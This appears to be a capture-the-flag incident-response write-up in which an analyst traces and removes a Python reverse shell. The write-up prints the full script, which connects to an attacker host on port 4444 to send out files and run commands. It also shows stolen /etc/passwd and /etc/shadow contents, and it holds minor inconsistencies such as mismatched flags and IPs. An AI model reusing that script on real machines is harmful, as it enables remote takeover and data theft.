

Case: Blindspot Breach

April 6, 2026

Executive summary

Examining the host machine at seemed normal, after a quick overview of the processes, we noticed that there was a python script running in the /tmp directory. Upon opening the script it was a complete plug in to the host machine and would extract files from the machine. We went into the machine and ran `clamscan -i -r /tmp` and Clamav stated the nature of the malware was "reverseshell_linux.UNNOFICIAL" this is a reverse shell attack allowing the attacker to access the machines shell and execute commands remotely. This coming from a system referred to as "portal.local". and upon a successful login would redirect the user to `portal.local/protected/admin`. We ran `lsof -i -P -n | grep '59'` or whichever PID it decided on using, to see that we had an active connection to the attacker machine with the tunnel left open using a TCP stay alive call.

Upon reading the script we see it utilizes port 4444, to observe the nature of the data stolen we opened Wireshark and entered the filter `tcp.port == 4444` and observed the first line of traffic to follow a TCP stream and found that the data was being transferred to another machine. It went into the shell, logged in as root user, pulled from the `/var/log/syslog` which upon opening, we discovered the data that was being stolen, which was our flag of `97f6f7b09776c619fbd856ac6f132dc9`. After retrieving the flag we entered command `sudo clamscan -i -r /tmp --remove` to remove the malware from the machine getting the message of the malicious script getting removed.

Findings and Analysis

Finding	Finding Details	Description
Port	4444	Port used to access machine with reverse shell
Malware Attack	Reverse shell script	Dangerous attack that allows the attacker to bypass firewalls and connect to machine as if it were local
Location of the stolen file	/var/log/syslog	This was the location of the stolen files which contained our flag

Attacker machine	Portal.local	Machine was referred to as portal.local in the python script and would utilize port 4444
0f61556b.py	Malicious python script	This script was placed in the /tmp directory and is a malicious script that gave the instructions to the reverse shell malware.

Tools and technologies used

- **Wireshark:** Wireshark is a packet sniffing program that was used to observe network traffic to exam connections to the host machine. I used Wireshark to search for any accesses to the machine by the attacker machine
- **ClamAV:** Anti-virus program used to search for malicious files and eliminate or quarantine them. I used this to locate the running script and remove it.
- **Top:** Command used to search for processes currently running looking for any high resource utilizing programs.

Investigation Process

1. I started by running a scan by running clamscan and receiving no results. Saying all files were safe
2. I then ran freshclam to update the database, followed by sudo apt update && sudo apt upgrade to update all of our directories ensuring our machine is fully up
3. I ran the clamscan again in the directory I was in to receive nothing again
4. I used command htop to open up running processes looking for anything strange, noticing that a python script was running from the /tmp directory.

5. I followed the patch to /tmp to discover 0f61556b.py opening it to find a python script about retrieving data.

```
import socket
import subprocess
import os

# Attacker's hostname and port
attacker_hostname = "portal.local"
attacker_port = 4444

# Resolve the attacker's hostname to an IP address
attacker_ip = socket.gethostbyname(attacker_hostname)

# Establish a connection to the attacker's machine
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((attacker_ip, attacker_port))

try:
    while True:
        # Receive the file path to transfer
        file_path = sock.recv(1024).decode().strip()
        if not file_path:
            break

        if os.path.exists(file_path):
            with open(file_path, "rb") as f:
                sock.sendfile(f)
            sock.send(b"FILE_TRANSFER_COMPLETE")
        else:
            sock.send(b"FILE_NOT_FOUND")

        # Receive and execute the command
        command = sock.recv(1024).decode().strip()
        if not command:
            break

        output = subprocess.getoutput(command)
        sock.send(output.encode())
```

6. Running `clamscan -i -r /tmp` we discover that this is in fact a malicious program.

```
analyst@worker-station-83:~$ clamscan -i -r /tmp
/tmp/0f61556b.py: reverseshell_linux.UNOFFICIAL FOUND

----- SCAN SUMMARY -----
Known viruses: 3627818
Engine version: 1.4.3
Scanned directories: 7
Scanned files: 5
Infected files: 1
Total errors: 2
Data scanned: 0.00 MB
Data read: 3.98 MB (ratio 0.00:1)
Time: 9.900 sec (0 m 9 s)
Start Date: 2026:04:07 21:23:25
End Date: 2026:04:07 21:23:35
analyst@worker-station-83:~$
```

7. Curious of host, I ran `sudo nano /etc/hosts` and discovered there is a host named `portal.local`

```
GNU nano 5.4 /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.20 portal.local portal.local ecs-blindspot-breach-44539abe-c9c
172.17.0.21 worker-station-83
```

8. We run `lsof -i -P -n | Grep 'PID'` (replace PID with actual PID of process) to find that the process is connected to another machine.

```
analyst@worker-station-83:~$ lsof -i -P -n | grep '1247'
python3 1247 analyst 3u IPv4 8980706 0t0 TCP 172.17.0.39:50228->172.17.0.34:4444 (ESTABLISHED)
analyst@worker-station-83:~$
```

9. While this is happening we were running wireshark in another window capturing packets and went to sort them by this port of 4444 using filter tcp.port == 4444

tcp.port == 4444						
No.	Time	Source	Destination	Protocol	Length	Info
825	2.952028640	172.17.0.21	172.17.0.20	TCP	173	51538 → 4444 [PSH,
830	2.994814703	172.17.0.20	172.17.0.21	TCP	68	4444 → 51538 [ACK]
2391	7.957535916	172.17.0.20	172.17.0.21	TCP	79	4444 → 51538 [PSH,
2392	7.957733771	172.17.0.21	172.17.0.20	TCP	1094	51538 → 4444 [PSH,
2393	7.957762172	172.17.0.20	172.17.0.21	TCP	68	4444 → 51538 [ACK]
2394	7.957783872	172.17.0.21	172.17.0.20	TCP	90	51538 → 4444 [PSH,
2395	7.957790622	172.17.0.20	172.17.0.21	TCP	68	4444 → 51538 [ACK]
2396	7.957936115	172.17.0.20	172.17.0.21	TCP	70	4444 → 51538 [PSH,

▶ Frame 2396: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface any, id 0
▶ Linux cooked capture v1
▶ Internet Protocol Version 4, Src: 172.17.0.20, Dst: 172.17.0.21
▶ Transmission Control Protocol, Src Port: 4444, Dst Port: 51538, Seq: 31, Ack: 3036, Len: 2
▶ Data (2 bytes)

10. We then clicked information regarding port 4444 and followed its tcp stream revealing much information about what was happening with the attacker machine.

```
/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-networkd:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesyncd:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
xrdp:x:105:110:/run/xrdp:/usr/sbin/nologin
rtkit:x:106:111:RealtimeKit,,:/proc:/usr/sbin/nologin
sdm:x:107:112:Simple Desktop Display Manager:/var/lib/sddm:/bin/false
geoclue:x:108:115:/var/lib/geoclue:/usr/sbin/nologin
pulse:x:109:116:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
avahi:x:111:119:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
tcpdump:x:112:120::/nonexistent:/usr/sbin/nologin
Debian-exim:x:113:121:/var/spool/exim4:/usr/sbin/nologin
clamav:x:114:122:/var/lib/clamav:/bin/false
analyst:x:1000:1000,,,:/home/analyst:/bin/bash
FILE TRANSFER COMPLETEuname -alinux worker-station-83 4.14.252-195.483.amzn2.x86_64 #1 SMP Mon Nov 1 20:58:46 UTC 2021 x86_64 GNU/Linux/etc/shadowroot:*:20206:0:99999:7:::
daemon:*:20206:0:99999:7:::
bin:*:20206:0:99999:7:::
sys:*:20206:0:99999:7:::
sync:*:20206:0:99999:7:::
games:*:20206:0:99999:7:::
man:*:20206:0:99999:7:::
lp:*:20206:0:99999:7:::
mail:*:20206:0:99999:7:::
```

11. We then search further to find where some data was extracted from our pc

```
analyst:$y$19Tsk2DAGM9uVHJyYvYrD8.SAMuyuj7cf8JYtlz63u270pCTJPAMaU2w9vuICUXpsK9:20219:0:99999:7:::
FILE TRANSFER COMPLETEiduid=(root) gid=0(root) groups=0(root)/var/log/syslogMay 7 10:12:03 debian systemd[1]: Starting Daily Cleanup of Temporary Directories...
May 7 10:12:03 debian systemd[1]: Started Daily Cleanup of Temporary Directories.
May 7 10:12:04 debian kernel: [ 18.372819] eth0: link up
May 7 10:12:05 debian NetworkManager[612]: <info> [1683455525.6378] device (eth0): state change: config -> ip-config (reason 'none', sys-iface-state: 'managed')
May 7 10:12:05 debian NetworkManager[612]: <info> [1683455525.6379] dhcp4 (eth0): state changed new lease

THE
FLAG
IS:
97f6f7b99776c619fdb856ac6f132dc9

May 7 10:12:06 debian CRON[722]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
May 7 10:12:06 debian systemd[1]: Starting Rotate log files...
May 7 10:12:06 debian systemd[1]: logrotate.service: Succeeded.
May 7 10:12:06 debian systemd[1]: Finished Rotate log files.
May 7 10:12:08 debian sshd[733]: Accepted password for user from 192.168.56.101 port 54022 ssh2
May 7 10:12:08 debian sshd[733]: pam_unix(sshd:session): session opened for user user by (uid=0)
May 7 10:12:10 debian sudo[755]: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/journalctl -xe
May 7 10:12:10 debian sudo: pam_unix(sudo:session): session opened for user root by user(uid=0)
May 7 10:12:12 debian systemd[1]: Starting System Logging Service...
May 7 10:12:12 debian rsyslogd: [origin software="rsyslogd" swVersion="8.2001.0" x-pid="783" x-info="https://www.rsyslog.com"] start
May 7 10:12:12 debian systemd[1]: Started System Logging Service.
May 7 10:12:14 debian audit[602]: USER_CMD pids=602 uid=1000 auid=1000 ses=2 msg=cwd="/home/user" cmd="2F7573722F62696E2F63617420 exe="/usr/bin/cat" terminal=pts/0 res=success'
FILE TRANSFER COMPLETEwhoamiroot/etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

12. We followed the path of /var/log/syslog by entering in the CLI `cd /etc/log && cat syslog` and we have found our flag.

```
THE
FLAG
IS :
97f6f7b09776c619fbd856ac6f132dc9

May  7 10:12:06 debian CRON[722]: (root) CMD (  cd / && run-parts --report
/etc/cron.hourly)
May  7 10:12:06 debian systemd[1]: Starting Rotate log files...
May  7 10:12:06 debian systemd[1]: logrotate.service: Succeeded.
May  7 10:12:06 debian systemd[1]: Finished Rotate log files.
May  7 10:12:08 debian sshd[733]: Accepted password for user from 192.168.56
.101 port 54022 ssh2
May  7 10:12:08 debian sshd[733]: pam_unix(sshd:session): session opened for
user user by (uid=0)
May  7 10:12:10 debian sudo[755]:  user : TTY=pts/0 ; PWD=/home/user ; USER
=root ; COMMAND=/bin/journalctl -xe
May  7 10:12:10 debian sudo: pam_unix(sudo:session): session opened for user
root by user(uid=0)
May  7 10:12:12 debian systemd[1]: Starting System Logging Service...
May  7 10:12:12 debian rsyslogd: [origin software="rsyslogd" swVersion="8.20
01.0" x-pid="783" x-info="https://www.rsyslog.com"] start
May  7 10:12:12 debian systemd[1]: Started System Logging Service.
May  7 10:12:14 debian audit[802]: USER_CMD pid=802 uid=1000 auid=1000 ses=2
msg='cwd="/home/user" cmd=2F7573722F62696E2F63617420 exe="/usr/bin/cat" ter
minal=pts/0 res=success'
```

13. Now, with the nature of the data stolen known, we now deal with the malicious script, knowing where it is we run the command, `sudo clamscan -i -r /tmp --remove`

```
analyst@worker-station-83:~$ sudo clamscan -i -r /tmp --remove
/tmp/0f61556b.py: reverseshell_linux.UNOFFICIAL FOUND
/tmp/0f61556b.py: Removed.

----- SCAN SUMMARY -----
Known viruses: 3627818
Engine version: 1.4.3
Scanned directories: 8
Scanned files: 6
Infected files: 1
Data scanned: 8.48 MB
Data read: 3.98 MB (ratio 2.13:1)
Time: 10.509 sec (0 m 10 s)
Start Date: 2026:04:07 21:25:51
End Date: 2026:04:07 21:26:02
```

14. The malicious file is now removed, and the data compromised is now known. Returning the machine to end user. Running the command `clamscan -i -r /tmp` just

to ensure safety.

```
analyst@worker-station-83:~$ clamscan -i -r /tmp
```

```
----- SCAN SUMMARY -----  
Known viruses: 3627818  
Engine version: 1.4.3  
Scanned directories: 7  
Scanned files: 4  
Infected files: 0  
Total errors: 2  
Data scanned: 0.00 MB  
Data read: 3.98 MB (ratio 0.00:1)  
Time: 9.911 sec (0 m 9 s)  
Start Date: 2026:04:07 21:27:12  
End Date: 2026:04:07 21:27:22
```

Recommendations

1. Recommend that the machine is always up to date, ensuring the freshest anti-virus signatures, ensuring that we do not get any malicious programs sneaking behind firewalls.
2. Recommend reiterating the importance of phishing training to end users. Malicious program was likely downloaded to the machine from a phishing email.
3. Enable email screening to ensure that links are true and safe when entering email space.
4. Separating network to DMZ for guest accounts to not allow unknown IPs past the firewall